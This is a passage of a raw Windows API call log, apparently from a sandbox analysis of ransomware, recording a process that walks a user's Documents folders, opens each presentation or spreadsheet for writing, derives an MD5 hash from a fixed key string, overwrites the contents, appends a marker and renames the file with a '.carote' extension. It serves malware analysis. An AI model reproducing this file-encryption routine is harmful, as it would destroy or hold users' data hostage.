[0112.740] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.740] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.740] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x8fbf, lpOverlapped=0x0) returned 1 [0112.740] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.740] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.740] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.740] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.740] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.741] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.741] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.741] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.741] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.741] GetLastError () returned 0x0 [0112.741] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.741] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8fc0) returned 0x7b182e0 [0112.742] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.742] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x8fba, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x8fba, lpOverlapped=0x0) returned 1 [0112.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.742] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8fbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.742] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.742] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.742] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.743] CloseHandle (hObject=0x61c) returned 1 [0112.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.743] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\YAhk-.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\yahk-.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\YAhk-.pps.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\yahk-.pps.carote")) returned 1 [0112.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.744] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.745] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba07710, ftCreationTime.dwHighDateTime=0x1d4cd66, ftLastAccessTime.dwLowDateTime=0x4f334330, ftLastAccessTime.dwHighDateTime=0x1d4c960, ftLastWriteTime.dwLowDateTime=0x4f334330, ftLastWriteTime.dwHighDateTime=0x1d4c960, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZBbqqZmAUxSDj.odp", cAlternateFileName="ZBBQQZ~1.ODP")) returned 1 [0112.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.745] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\ZBbqqZmAUxSDj.odp") returned=".odp" [0112.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\ZBbqqZmAUxSDj.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\zbbqqzmauxsdj.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.746] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=91861) returned 1 [0112.746] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.748] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x166af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.748] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.749] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.749] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.749] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.749] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x166d5, lpOverlapped=0x0) returned 1 [0112.750] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.750] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.750] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.750] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.750] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.751] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.751] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.751] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.751] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.751] GetLastError () returned 0x0 [0112.751] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.751] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.751] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x166e0) returned 0x7b182e0 [0112.751] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.751] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.751] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x166d0, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x166d0, lpOverlapped=0x0) returned 1 [0112.752] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.752] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x166d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.752] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.752] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.752] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.752] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.752] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.752] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.752] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.752] CloseHandle (hObject=0x61c) returned 1 [0112.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.753] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.753] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.753] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\ZBbqqZmAUxSDj.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\zbbqqzmauxsdj.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\ZBbqqZmAUxSDj.odp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\zbbqqzmauxsdj.odp.carote")) returned 1 [0112.754] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.754] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.755] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba07710, ftCreationTime.dwHighDateTime=0x1d4cd66, ftLastAccessTime.dwLowDateTime=0x4f334330, ftLastAccessTime.dwHighDateTime=0x1d4c960, ftLastWriteTime.dwLowDateTime=0x4f334330, ftLastWriteTime.dwHighDateTime=0x1d4c960, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZBbqqZmAUxSDj.odp", cAlternateFileName="ZBBQQZ~1.ODP")) returned 0 [0112.755] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.755] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.755] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.755] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.755] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.758] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\") returned="SmG7\\" [0112.758] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.758] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.758] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.758] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.758] PathFindFileNameW (pszPath="") returned="" [0112.758] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x824549f0, ftCreationTime.dwHighDateTime=0x1d4ce0e, ftLastAccessTime.dwLowDateTime=0x731cfcb0, ftLastAccessTime.dwHighDateTime=0x1d4cee1, ftLastWriteTime.dwLowDateTime=0x731cfcb0, ftLastWriteTime.dwHighDateTime=0x1d4cee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.758] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x824549f0, ftCreationTime.dwHighDateTime=0x1d4ce0e, ftLastAccessTime.dwLowDateTime=0x731cfcb0, ftLastAccessTime.dwHighDateTime=0x1d4cee1, ftLastWriteTime.dwLowDateTime=0x731cfcb0, ftLastWriteTime.dwHighDateTime=0x1d4cee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ff2c20, ftCreationTime.dwHighDateTime=0x1d4c9c5, ftLastAccessTime.dwLowDateTime=0xd4d72a90, ftLastAccessTime.dwHighDateTime=0x1d4ce30, ftLastWriteTime.dwLowDateTime=0xd4d72a90, ftLastWriteTime.dwHighDateTime=0x1d4ce30, nFileSizeHigh=0x0, nFileSizeLow=0x5015, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="a--g-.xls", cAlternateFileName="")) returned 1 [0112.758] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\a--g-.xls") returned=".xls" [0112.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\a--g-.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\a--g-.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.758] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=20501) returned 1 [0112.758] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, 